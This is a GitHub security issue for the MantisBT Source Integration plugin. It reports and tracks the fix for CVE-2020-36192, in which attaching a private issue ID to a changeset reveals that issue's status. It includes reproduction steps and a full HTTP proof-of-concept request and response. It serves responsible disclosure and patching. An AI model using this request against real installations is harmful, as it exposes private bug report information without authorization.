

New issue

[Jump to bottom](#)

CVE-2020-36192: Private issue information disclosure #344

🔒 Closed

jrckmcsb opened this issue on Oct 12, 2020 · 2 comments

Labels bug core security

Milestone 2.4.1

jrckmcsb commented on Oct 12, 2020

Description

This issue allows the attacker to disclose the current status of a private report by attaching it on the `attach issues` field.

- Assume you successfully install the Source Integration, as attacker go to `Repositories`
- Go to `changesets`
- Look for the `Attach Issues` field
- Assume you know the id of the private issue insert it

Request

```
POST /mantisbt-2.24.3/plugin.php?page=Source/attach HTTP/1.1
Host: 192.168.0.105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
Origin: http://192.168.0.105
Connection: close
Referer: http://192.168.0.105/mantisbt-2.24.3/plugin.php?page=Source/list&id=4
Cookie: PHPSESSID=7n8jabr4aj4irdo3a8f1nr39b0; MANTIS_secure_session=0; MANTIS_STRING_COOKIE=0uyn4G6ocIn_SkwxSV8Pp4c8KjhQ3f1HyIfsW1mf2xFM7ZwWJ3ZpVfyHLV8y2aL; MANTIS_PROJECT_COOKIE=1; MANTIS_BUG_LIST_COOKIE=1
Upgrade-Insecure-Requests: 1

plugin_Source_attach_token=20201010q0XJM2N3iVvIWU0zJbZd0J2mNkrhFj1h&id=1&redirect=172a1ddd62a4b7ab32256b9fe22109b8350bbc86&bug_ids=2
```

Response

```
HTTP/1.1 302 Found
Date: Sun, 11 Oct 2020 03:15:11 GMT
Server: Apache/2.4.46 (Debian)
Cache-Control: no-store, no-cache, must-revalidate
Last-Modified: Sun, 11 Oct 2020 03:15:11 GMT
X-Content-Type-Options: nosniff
Expires: Sun, 11 Oct 2020 03:15:11 GMT
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'; frame-ancestors 'none'; style-src 'self' 'unsafe-inline'; script-src 'self'; img-src 'self' 'self' data:
Location: http://192.168.0.105/mantisbt-2.24.3/plugin.php?page=Source/view&id=1
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8
```

- By default the issue is not crossed out (if the issue is recently send/not modified)
- Click the `details` button
- It will redirect to `mantisbt-2.24.3/plugin.php?page=Source/view&id=1` where the attach issue will also include. In this case my issue get resolved so the color indicator is green
- If we click the issue it will just return `Access Denied`.

At first I get confuse if this is a default feature or not but I guess if this is not an issue please validate the type of issue (check if public/private issue)

🔒 dregad added the `security` label on Oct 12, 2020

🔒 dregad added `bug` `core` labels on Jan 18, 2021

dregad commented on Jan 18, 2021

Member

Confirmed.

📌 dregad added this to the `2.4.1` milestone on Jan 18, 2021

dregad commented on Jan 18, 2021 • edited

Member

CVE-2020-36192 assigned


🔒 dregad changed the title `Attacker can disclose the status of private issue` CVE-2020-36192: Private issue information disclosure on Jan 18, 2021

 **dregad** mentioned this issue on Jan 18, 2021

Unprivileged user can detach private Issue from Changeset #356

 Closed

 **dregad** closed this as completed in [2f96a4a](#) on Jan 18, 2021

 **dregad** added a commit that referenced this issue on Jan 18, 2021

 Only attach Issues to changeset if authorized ...

ddf7d9

Assignees

No one assigned

Labels

bug **core** security

Projects

None yet

Milestone

2.4.1

Development

No branches or pull requests

2 participants

